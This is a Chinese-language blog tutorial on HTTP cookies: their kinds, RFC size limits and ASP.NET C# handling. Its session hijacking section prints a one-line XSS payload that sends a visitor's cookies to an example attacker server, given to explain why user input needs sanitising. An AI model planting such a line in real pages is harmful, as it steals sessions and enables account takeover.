﻿# 解釋 Cookie 的特性

身為 Web 開發人員一定要瞭解 HTTP 本身 **無狀態** (Stateless) 的特性，要在網路上識別瀏覽者的身份，必須透過一些機制來保存狀態，而 [**Cookie**](http://zh.wikipedia.org/wiki/Cookie "Cookie - Wikipedia") 就是其中一種保存狀態的機制，也是我們開發 Web 應用程式經常要面對的事，但又有多少人瞭解 Cookie 的細部特性呢！今天來談談 Cookie 的細部特性吧。

[Cookie](http://zh.wikipedia.org/wiki/Cookie "Cookie - Wikipedia") 的運作是這樣的：

1.  Server 端回應給 Browser 一個或多個 "Set-Cookie" HTTP Header
2.  Client 端 ( Browser ) 接收到 Set-Cookie 指令時，會將 Cookie 的名稱與值儲存在 Browser 的 Cookie 存放區，並記錄該 Cookie 隸屬的網域、網址路徑、過期時間、是否為安全連線
3.  當 Browser 再次發出 HTTP Request 指令到 Server 時，就會比對目前在 Browser 內的 Cookie 存放區有沒有「該網域」、「該目錄」、「過期時間尚未過期」且「是否為安全連線」的 Cookie，如果有的話就會包含在 HTTP Request 指令的 "Cookie" Header 中。  
      
    假設 Browser 在取得一張網頁時如果裡面包含 20 張圖、3 個 CSS、2 個 JavaScript 檔的話，同樣一份 Cookie 就會送出 25 次到 Server 端，如果你 Cookie 的大小有 4K 的話，光是看一張網頁你可能就要從你的電腦發送出 100KB 的頻寬，且可能只有一張網頁用的到這個 Cookie 而已。  
      
    所以使用 Cookie 並非「多多益善」，而是要「小心使用」，否則光是 Cookie 就會讓你的網頁顯示的時間變慢。

由於 Cookie 是儲存在 Client 端，所以一些比較機密的資料不建議存放在 Cookie 中，例如有套軟體 [IECookiesView](http://www.nirsoft.net/utils/iecookies.html "IECookiesView") 就可以輕易的將一台電腦中的所有 Cookie 取出，如果你的 Cookie 中有帳號、密碼、身份證字號等資料，那就真的全都露啦！如果真的要放也要加密過後再放比較安全。

網路上有個常見的攻擊手法叫做 [Session hijacking](http://en.wikipedia.org/wiki/Session_hijacking "Session hijacking - Wikipedia") ，就是透過 JavaScript 將 Cookie 偷偷傳遞出來，然後冒用別人的 Cookie 來登入，所以在開發 Web 應用程式的時候，**千萬千萬要注意**，尤其是讓使用者上傳資料的時候，一定要避免使用者偷偷上傳 JavaScript 的程式，資料儲存到資料庫之前一定要做檢查，或是將非法的標籤（如：<script>）移除。

[Session hijacking](http://en.wikipedia.org/wiki/Session_hijacking "Session hijacking - Wikipedia") 攻擊的手法模擬摘要如下：

1.  惡意使用者登入討論區，新增一篇含有 JavaScript 的文章
2.  所有來看你這篇文章的人，且是已經登入的使用者，其 Cookie 就可以透過下列一行指令將 Cookie 回傳給自己的伺服器：  
      
    document.images\[0\].src = 'http://my.server.com/getCookie.aspx?cookies=' + encodeURIComponent(document.cookies);
3.  惡意使用者得到 Cookie 後修改自己 Browser 所記錄的 Cookie 值，就可以變成另一個人的身份使用網站了，這時要改密碼、看資料、刪除資料都很容易了！

通常 [Cookie](http://zh.wikipedia.org/wiki/Cookie "Cookie - Wikipedia") 有兩種類型：Persistent Cookie 與 Session Cookie

1\. **Persistent Cookie**

> 這種類型的 Cookie 可以設定存在 Browser 一段時間（明確指定 Cookie 的 Expires 時間），如果你設定的時間夠長（例如：一天），即便 Browser 全部關閉或重開機後再開啟也還會存在。
> 
> 例如以下程式：
> 
> ```csharp
> Response.Cookies["Email"].Value = TextBox1.Text;
> Response.Cookies["Email"].Expires = DateTime.Now.AddDays(1);
> ```

2\. **Session Cookie**

> 這種 Cookie 是當不特別指定 Expires (過期時間) 時，該 Cookie 只會存在目前這個 Browser 的續存期間(Session)，只要 Browser 全部關閉後 Cookie 會自動被清除。
> 
> 例如以下程式：
> 
> ```csharp
> Response.Cookies["Username"].Value = DateTime.Now.ToString();
> ```

在 [RFC 2109 HTTP State Management Mechanism](http://www.ietf.org/rfc/rfc2109.txt "RFC 2109 HTTP State Management Mechanism") [**RFC2965** HTTP State Management Mechanism](http://www.ietf.org/rfc/rfc2965.txt) 規範的 6.3 **5.3 Implementation Limits** 章節中有定義 User Agent (瀏覽器) 針對 Cookie 的最低儲存量，但是每一個 Browser 在實做的時候還是有其限制，大多 Browser 都僅實做最低的儲存量，因為使用過多的 Cookie 會消耗頻寬，反而沒有效率，RFC 上面的定義是這樣的：

1.  至少可以儲存 300 個 Cookies
2.  每個 Cookie 所儲存的值至少可以儲存 4096 位元組(4KB)
3.  每個網域(domain name)至少可以儲存 20 個 Cookies  
      
    P.S. 網址中 [http://blog.miniasp.com/](/) 的 blog.miniasp.com 在這裡稱為「網域」，即便是 [http://192.168.1.1/](http://192.168.1.1/) 的 192.168.1.1 也都通稱為「網域」。

當你設定 Cookie 的大小超出限制，瀏覽器就會丟棄整個 Cookie，而不是將你設定的值取可以儲存的部分。

底下列出一些 ASP.NET 針對 Cookie 操作的一些範例：

1.  讀取從 Browser 送過來的 Cookie
    
    ```csharp
    if (Request.Cookies["LastVisit"] != null)
    {
      Label1.Text = Server.HtmlEncode(Request.Cookies["LastVisit"].Value);
    }
    ```
    
2.  寫入或更新 Cookie 到 Browser 端，並設定過期時間為 1 小時
    
    ```csharp
    Response.Cookies["UserID"].Value = "will";
    Response.Cookies["UserID"].Expires = DateTime.Now.AddHours(1);
    ```
    
3.  刪除 Browser 端的 Cookie
    
    ```csharp
    Response.Cookies["UserID"].Value = "will";
    // 只要將 Cookie 的 Expires 設定成 "昨天" 就可以刪除了!
    Response.Cookies["UserID"].Expires = DateTime.Now.AddDays(-1);
    ```
    
4.  設定一個只有當使用 HTTPS 安全連線時才送出的 Cookie
    
    ```csharp
    Response.Cookies["UserID"].Value = "will";
    Response.Cookies["UserID"].Secure = true;
    ```
    
    備註: 雖然此 Cookie 會在 HTTPS 連線的情況下才會送出，但儲存在 Browser 端的資料還是明碼喔! 如果使用者在公用電腦上網，也有資料被盜取的風險!
5.  設定一個 "跨子網域" 的 Cookie
    
    ```csharp
    Response.Cookies["UserID"].Value = "will";
    // 所有 *.miniasp.com 網域的網站的程式都會收到此 Cookie
    Response.Cookies["UserID"].Domain = ".miniasp.com";
    ```
    
    備註 1: 通常有多個子網域的 "單一簽入" (Single Sign-On, SSO) 機制會用這種方法做!  
    備註 2: 你不能設定 "與跟自己不一樣的網域(Domain)"，Browser 不會理你的! 例如: [http://www.miniasp.com/](http://www.miniasp.com/) 這頁就不能設定 abc.com 的 Cookie!  
    **備註 3:** 在 [RFC 2109 HTTP State Management Mechanism](http://www.ietf.org/rfc/rfc2109.txt "RFC 2109 HTTP State Management Mechanism") 規格裡，的確有要求要在 Domain 屬性值最前面加上 **.** (點) 才能支援 "跨子網域" 的 Cookie。不過，這份規格已經被淘汰了，取而代之的是 [**RFC2965** HTTP State Management Mechanism](http://www.ietf.org/rfc/rfc2965.txt) 這份規格，新的規格裡有提到，如果 Domain 屬性沒有在域名前面加上 **.** (點)，瀏覽器應該幫你自動在域名上最前面加上 **.** (點)，所以，要不要加上這個 **.** (點) 已經不太重要了，我測試過從 IE6 ~ IE10 都沒問題。  
      
    Q: 你覺得當你在 [http://www.miniasp.com/](http://www.miniasp.com/) 可以設定 blog.miniasp.com 網域(Domain)的 Cookie 嗎?  
    A: 答案是不行的! 你如果要從 [www.miniasp.com](http://www.miniasp.com/) 設定 Cookie 讓 blog.miniasp.com 也可以讀取到的話，必須指定 Domain 為 ".miniasp.com"  
    
6.  設定一個二維陣列的 Cookie
    
    ```csharp
    Response.Cookies["User"]["LastLoginTime"] = DateTime.Now.ToString();
    ```
    
    備註: 雖然這是個類似二為陣列的 Cookie，但是事實上 Cookie 本身是不支援多維方式儲存的!  
      
    上述那一段所輸出的 Header 將會是:  
        Set-Cookie: UserData=LastLoginTime=2008-02-22 下午 09:17:42;  
      
    而你若嘗試讀取 **Response.Cookies\["User"\].Value** 的話，所得到的值將是 **LastLoginTime=2008-02-22 下午 09:17:42**
7.  刪除二為陣列 Cookie 中的子鍵值
    
    ```csharp
    Response.Cookies["User"].Values.Remove("LastLoginTime");
    ```
    

**相關網址：** 

-   KB 306070 : [數字和大小限制的 Internet Explorer 中的 Cookie](http://support.microsoft.com/?scid=kb%3Bzh-tw%3B306070&x=10&y=14 "數字和大小限制的 Internet Explorer 中的 Cookie")
-   [Session Cookies / Persistent Cookies Explained](http://www.allaboutcookies.org/cookies/cookies-the-same.html)
-   [**RFC2109** HTTP State Management Mechanism](http://www.ietf.org/rfc/rfc2109.txt) (已過期)
-   [**RFC2965** HTTP State Management Mechanism](http://www.ietf.org/rfc/rfc2965.txt)
-   [HTTP cookie](http://en.wikipedia.org/wiki/HTTP_cookie)
-   [Session hijacking](http://en.wikipedia.org/wiki/Session_hijacking)
-   [Single sign-on](http://en.wikipedia.org/wiki/Single_sign_on)
